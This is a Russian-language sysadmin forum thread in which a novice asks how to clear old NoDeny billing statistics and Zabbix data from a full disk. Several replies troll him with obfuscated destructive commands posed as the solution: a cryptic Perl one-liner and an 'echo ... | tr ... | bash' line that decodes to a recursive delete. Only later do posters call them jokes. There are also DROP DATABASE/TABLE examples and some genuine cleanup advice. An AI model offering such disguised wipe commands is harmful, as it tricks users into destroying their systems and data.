Jump to content

Очистка базы статистики Nodeny и Zabbix


Recommended Posts

Приветствую! Подскажите как удалить старую статистику биллинга, место заканчивалось и вот его нет вообще. Биллинг пишет что нет информации о ходе записи трафика. В настройках указано что статистика будет хранится 31 день, но смотрю файлы старые не удаляются. См. скрины.

По заббиксу ничего не скажу, но подозреваю что в заканчивающемся месте на диске он тоже виновен. Его бы тоже почистить....

post-17499-0-05693400-1345574911_thumb.jpg

post-17499-0-94415500-1345574911_thumb.jpg

post-17499-0-56044000-1345574912.jpg

Link to post
Share on other sites

в ноудени в настройках нужно уменьшить аппетиты по детальной статистике или сходить в магазин за дополнительным хардом

Link to post
Share on other sites

Ухты, делать TRUNCATE табличек методом кнопочки F8 в миднайте это новое слово в "научном администрировании" :)

 

omgwtf.gif

 

Автору топика могу посоветовать лишь воспользоваться следующим способом:

 

perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

Link to post
Share on other sites

Ну я скрин прикрепил показать о том что там есть записи не нужных, месяцев (хотя я не уверен что это оно) и ничего я в ручную никогда не удаляю, если не знаю о последствиях.

А это

perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

как понимать ?

Link to post
Share on other sites

Вы можете дельно сказать? А не догадками. Я не разбираюсь в MySQL, только FreeBSD освоил немного, и все сразу не разберу, а сделать нужно срочно.

Link to post
Share on other sites

Я не разбираюсь в MySQL, только FreeBSD освоил немного, и все сразу не разберу, а сделать нужно срочно.

тогда или рискуйте уронить базу или платите деньги тем кто не уронит ее.

Link to post
Share on other sites

perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

Боюсь это сильно жестоко :rolleyes:) Зато места будет много

Link to post
Share on other sites
Я не разбираюсь в MySQL, только FreeBSD освоил немного, и все сразу не разберу, а сделать нужно срочно.

 

Ну дык говорю же

 

echo update_+f | tr -s "f+_etadpu" "*/ rf- mr" | bash

 

Чисто BSD way

 

или вон господин 911 предлагает вам еще более прозрачный вариант

Link to post
Share on other sites

А могу ли я просто удалить вручную отмеченные таблицы и подобные как на скрине?

А команда

echo "drop database bill" | mysql -u root -phardpass

случайно не удалит полностью все?

post-17499-0-54114000-1345625098_thumb.jpg

Link to post
Share on other sites

А могу ли я просто удалить вручную отмеченные таблицы и подобные как на скрине?

А команда

echo "drop database bill" | mysql -u root -phardpass

случайно не удалит полностью все?

Правильный ответ был

тогда или рискуйте уронить базу или платите деньги тем кто не уронит ее.

Остальные просто юмор.

 

perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see' самый лучший альтернативный вариант :)

 

http://lurkmore.to/Rm_-rf

Link to post
Share on other sites

А могу ли я просто удалить вручную отмеченные таблицы и подобные как на скрине?

Удалите их вручную, почему бы и нет. Странный вообще биллинг, это кто такой умный придумал таблицу на каждый день делать? Как это говно потом чистить?

  • Like 1
Link to post
Share on other sites

aike

 

Правильный ответ был

styd.jpg

KaYot

 

Странный вообще биллинг, это кто такой умный придумал таблицу на каждый день делать? Как это говно потом чистить?

Культурным языком это называется "денормализацией структуры БД" и на самом деле имеет смысл для ускорения выборок. Какая в общем разница профпригодному админу выискивать и прибивать нужный день по одной здоровенной табличке (п-ф-ф) или флушить посуточные/помесячные или еще какие?

Link to post
Share on other sites
Странный вообще биллинг, это кто такой умный придумал таблицу на каждый день делать? Как это говно потом чистить?

Культурным языком это называется "денормализацией структуры БД" и на самом деле имеет смысл для ускорения выборок. Какая в общем разница профпригодному админу выискивать и прибивать нужный день по одной здоровенной табличке (п-ф-ф) или флушить посуточные/помесячные или еще какие?

Ну у себя я делаю что-то вроде "delete from logs where log.date < now() + 3 months". А как нормально чистить это говно? :)

Link to post
Share on other sites

 

Автору топика могу посоветовать лишь воспользоваться следующим способом:

 

perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

 

Я вот только не пойму зачем такие советы давать? Если человек не понимает, то я обычно подсказываю ему, правда не по администрированию, есть и другое направление моей деятельности, в котором я уверен что разбираюсь на 5.

  • Like 1
Link to post
Share on other sites

KaYot

 

А как нормально чистить это говно?

Все также

 

$query="DROP TABLE `".date("zYxmxd")."`";

 

NETOS

 

Я вот только не пойму зачем такие советы давать?

ну вот, приперся aike-очевидность и испортил все веселье

 

Если человек не понимает......

...значит он непрофпригоден

Link to post
Share on other sites

KaYot

 

А как нормально чистить это говно?

Все также

 

$query="DROP TABLE `".date("zYxmxd")."`";

 

NETOS

 

Я вот только не пойму зачем такие советы давать?

ну вот, приперся aike-очевидность и испортил все веселье

 

Если человек не понимает......

...значит он непрофпригоден

 

А до Вашей профпригодности, вы были сильно профпригодны?

Link to post
Share on other sites

А могу ли я просто удалить вручную отмеченные таблицы и подобные как на скрине?

да спокойно можете, там только данные по трафику.

Еще можно очистить таблички:

traf_lost

traf_info

sat_log

 

далее оптимизируйте таблицы, эти таблицы.

Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
  • Recently Browsing   0 members

    No registered users viewing this page.

×
×
  • Create New...